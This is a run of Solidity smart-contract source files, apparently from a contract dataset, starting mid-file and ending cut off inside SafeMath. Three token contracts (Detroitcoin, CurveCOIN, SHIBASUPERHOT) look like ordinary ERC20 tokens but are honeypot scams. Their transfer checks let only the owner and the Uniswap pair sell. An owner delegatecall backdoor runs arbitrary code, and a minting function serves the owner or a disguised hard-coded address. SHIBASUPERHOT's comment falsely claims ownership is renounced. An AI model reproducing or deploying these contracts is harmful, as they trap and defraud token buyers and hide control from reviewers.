uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Detroitcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Curve coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CurveCOIN {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/*
Marketing paid
Liqudity Locked
Ownership renounced
No Devwallets
CG, CMC listing: Ongoing
Devs of Shibramen ©
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SHIBASUPERHOT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/IOneSplit.sol
pragma solidity ^0.5.0;
//
// [ msg.sender ]
// | |
// | |
// \_/
// +---------------+ ________________________________
// | OneSplitAudit | _______________________________ \
// +---------------+ \ \
// | | ______________ | | (staticcall)
// | | / ____________ \ | |
// | | (call) / / \ \ | |
// | | / / | | | |
// \_/ | | \_/ \_/
// +--------------+ | | +----------------------+
// | OneSplitWrap | | | | OneSplitViewWrap |
// +--------------+ | | +----------------------+
// | | | | | |
// | | (delegatecall) | | (staticcall) | | (staticcall)
// \_/ | | \_/
// +--------------+ | | +------------------+
// | OneSplit | | | | OneSplitView |
// +--------------+ | | +------------------+
// | | / /
// \ \________________/ /
// \__________________/
//
contract IOneSplitConsts {
// flags = FLAG_DISABLE_UNISWAP + FLAG_DISABLE_KYBER + ...
uint256 internal constant FLAG_DISABLE_UNISWAP = 0x01;
uint256 internal constant FLAG_DISABLE_KYBER = 0x02;
uint256 internal constant FLAG_ENABLE_KYBER_UNISWAP_RESERVE = 0x100000000; // Turned off by default
uint256 internal constant FLAG_ENABLE_KYBER_OASIS_RESERVE = 0x200000000; // Turned off by default
uint256 internal constant FLAG_ENABLE_KYBER_BANCOR_RESERVE = 0x400000000; // Turned off by default
uint256 internal constant FLAG_DISABLE_BANCOR = 0x04;
uint256 internal constant FLAG_DISABLE_OASIS = 0x08;
uint256 internal constant FLAG_DISABLE_COMPOUND = 0x10;
uint256 internal constant FLAG_DISABLE_FULCRUM = 0x20;
uint256 internal constant FLAG_DISABLE_CHAI = 0x40;
uint256 internal constant FLAG_DISABLE_AAVE = 0x80;
uint256 internal constant FLAG_DISABLE_SMART_TOKEN = 0x100;
uint256 internal constant FLAG_ENABLE_MULTI_PATH_ETH = 0x200; // Turned off by default
uint256 internal constant FLAG_DISABLE_BDAI = 0x400;
uint256 internal constant FLAG_DISABLE_IEARN = 0x800;
uint256 internal constant FLAG_DISABLE_CURVE_COMPOUND = 0x1000;
uint256 internal constant FLAG_DISABLE_CURVE_USDT = 0x2000;
uint256 internal constant FLAG_DISABLE_CURVE_Y = 0x4000;
uint256 internal constant FLAG_DISABLE_CURVE_BINANCE = 0x8000;
uint256 internal constant FLAG_ENABLE_MULTI_PATH_DAI = 0x10000; // Turned off by default
uint256 internal constant FLAG_ENABLE_MULTI_PATH_USDC = 0x20000; // Turned off by default
uint256 internal constant FLAG_DISABLE_CURVE_SYNTHETIX = 0x40000;
uint256 internal constant FLAG_DISABLE_WETH = 0x80000;
uint256 internal constant FLAG_ENABLE_UNISWAP_COMPOUND = 0x100000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH
uint256 internal constant FLAG_ENABLE_UNISWAP_CHAI = 0x200000; // Works only when ETH<>DAI or FLAG_ENABLE_MULTI_PATH_ETH
uint256 internal constant FLAG_ENABLE_UNISWAP_AAVE = 0x400000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH
uint256 internal constant FLAG_DISABLE_IDLE = 0x800000;
uint256 internal constant FLAG_DISABLE_MOONISWAP = 0x1000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ALL = 0x1E000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2 = 0x2000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ETH = 0x4000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_DAI = 0x8000000;
uint256 internal constant FLAG_DISABLE_UNISWAP_V2_USDC = 0x10000000;
uint256 internal constant FLAG_DISABLE_ALL_SPLIT_SOURCES = 0x20000000;
uint256 internal constant FLAG_DISABLE_ALL_WRAP_SOURCES = 0x40000000;
uint256 internal constant FLAG_DISABLE_CURVE_PAX = 0x80000000;
uint256 internal constant FLAG_DISABLE_CURVE_RENBTC = 0x100000000;
uint256 internal constant FLAG_DISABLE_CURVE_TBTC = 0x200000000;
uint256 internal constant FLAG_ENABLE_MULTI_PATH_USDT = 0x400000000; // Turned off by default
uint256 internal constant FLAG_ENABLE_MULTI_PATH_WBTC = 0x800000000; // Turned off by default
uint256 internal constant FLAG_ENABLE_MULTI_PATH_TBTC = 0x1000000000; // Turned off by default
uint256 internal constant FLAG_ENABLE_MULTI_PATH_RENBTC = 0x2000000000; // Turned off by default
uint256 internal constant FLAG_DISABLE_DFORCE_SWAP = 0x4000000000;
uint256 internal constant FLAG_DISABLE_SHELL = 0x8000000000;
uint256 internal constant FLAG_ENABLE_CHI_BURN = 0x10000000000;
uint256 internal constant FLAG_DISABLE_MSTABLE_MUSD = 0x20000000000;
}
contract IOneSplit is IOneSplitConsts {
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags, // See constants in IOneSplit.sol
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
);
function swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags
)
public
payable
returns(uint256 returnAmount);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
